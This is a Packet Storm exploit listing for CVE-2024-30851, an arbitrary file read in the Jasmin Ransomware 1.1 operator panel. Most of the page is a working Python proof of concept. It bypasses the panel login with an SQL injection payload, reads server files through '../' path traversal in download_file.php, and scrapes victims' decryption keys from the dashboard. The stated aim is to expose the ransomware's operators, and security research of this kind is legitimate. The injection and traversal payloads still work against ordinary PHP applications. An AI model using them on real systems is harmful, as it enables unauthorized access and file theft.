exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Jasmin Ransomware 1.1 Arbitrary File Read

Jasmin Ransomware 1.1 Arbitrary File Read
Posted Apr 5, 2024
Authored by chebuya

Jasmin Ransomware version 1.1 suffers from an arbitrary file read vulnerability.

tags | exploit, arbitrary
advisories | CVE-2024-30851
SHA-256 | 31f4b2bfcea7721b795130a73ea23eb4c455761a9210c8e57d648ef7f5a73b61

Jasmin Ransomware 1.1 Arbitrary File Read

Change Mirror Download
# Exploit Title: Jasmin Ransomware arbitrary file read
# Date: 2024-04-04
# Exploit Author: @_chebuya
# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware
# Version: v1.1
# Tested on: Ubuntu 20.04 LTS
# CVE: CVE-2024-30851
# Description: Jasmin Ransomware panel contains multiple SQL injections and authorization issues, allowing a remote unauthenticated attacker to read arbitrary files off the server and bypass the login
# Github: https://github.com/chebuya/CVE-2024-30851-jasmin-ransomware-path-traversal-poc/tree/main
import requests
import argparse
import os
from bs4 import BeautifulSoup

def get_file(jasmin_url, filepath):
response = requests.get(
f'{jasmin_url}/download_file.php?file={filepath}',
allow_redirects=False
)

return response.text


def get_keys(jasmin_url):
headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}

data = "username=&password='+or+1%3D1+--+-&service=login"
login_req = requests.post(f'{jasmin_url}/checklogin.php', headers=headers, data=data)
cookies = login_req.cookies

list_req = requests.get(f'{jasmin_url}/dashboard.php', cookies=cookies)
soup = BeautifulSoup(list_req.text, 'html.parser')

rows = soup.find_all('tr')

print(f"Dumping decryption keys from {len(rows)-1} victims")
for row in rows:
data = row.find_all('td')
if len(data) == 0:
continue

username = data[1].get_text()
hostname = data[0].get_text()
filepath = data[7].find('a')['href'].split("=")[1]

print(f"Decryption key for {username}@{hostname}: {get_file(jasmin_url, filepath)}")


parser = argparse.ArgumentParser(description="LFD/SQLi Exploit PoC for Jasmin Ransomware panel")
subparser = parser.add_subparsers(dest='subcommand')

file_parser = subparser.add_parser("getfile", help="Read a file off the server")
file_parser.add_argument("-u", "--url", required=True, help="The jasmin ransomware web panel url (http://target_server)")
file_parser.add_argument("-f", "--file", default="c:/xampp/apache/logs/access.log", help="The file to read on the target server") # Default is the access log, deanonymize the operators!

keys_parser = subparser.add_parser("getkeys", help="Get decryption keys of victims")
keys_parser.add_argument("-u", "--url", required=True, help="The jasmin ransomware web panel url (http://target_server)")

args = parser.parse_args()

if args.subcommand != None:
target_url = args.url.rstrip("/")

if args.subcommand == "getkeys":
get_keys(target_url)
elif args.subcommand == "getfile":
target_file = args.file.replace("\\", "/").replace("c:", "")
target_path = os.path.join("../../../../../../../../../", target_file)
print(get_file(target_url, target_path))
else:
parser.print_help()
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    31 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close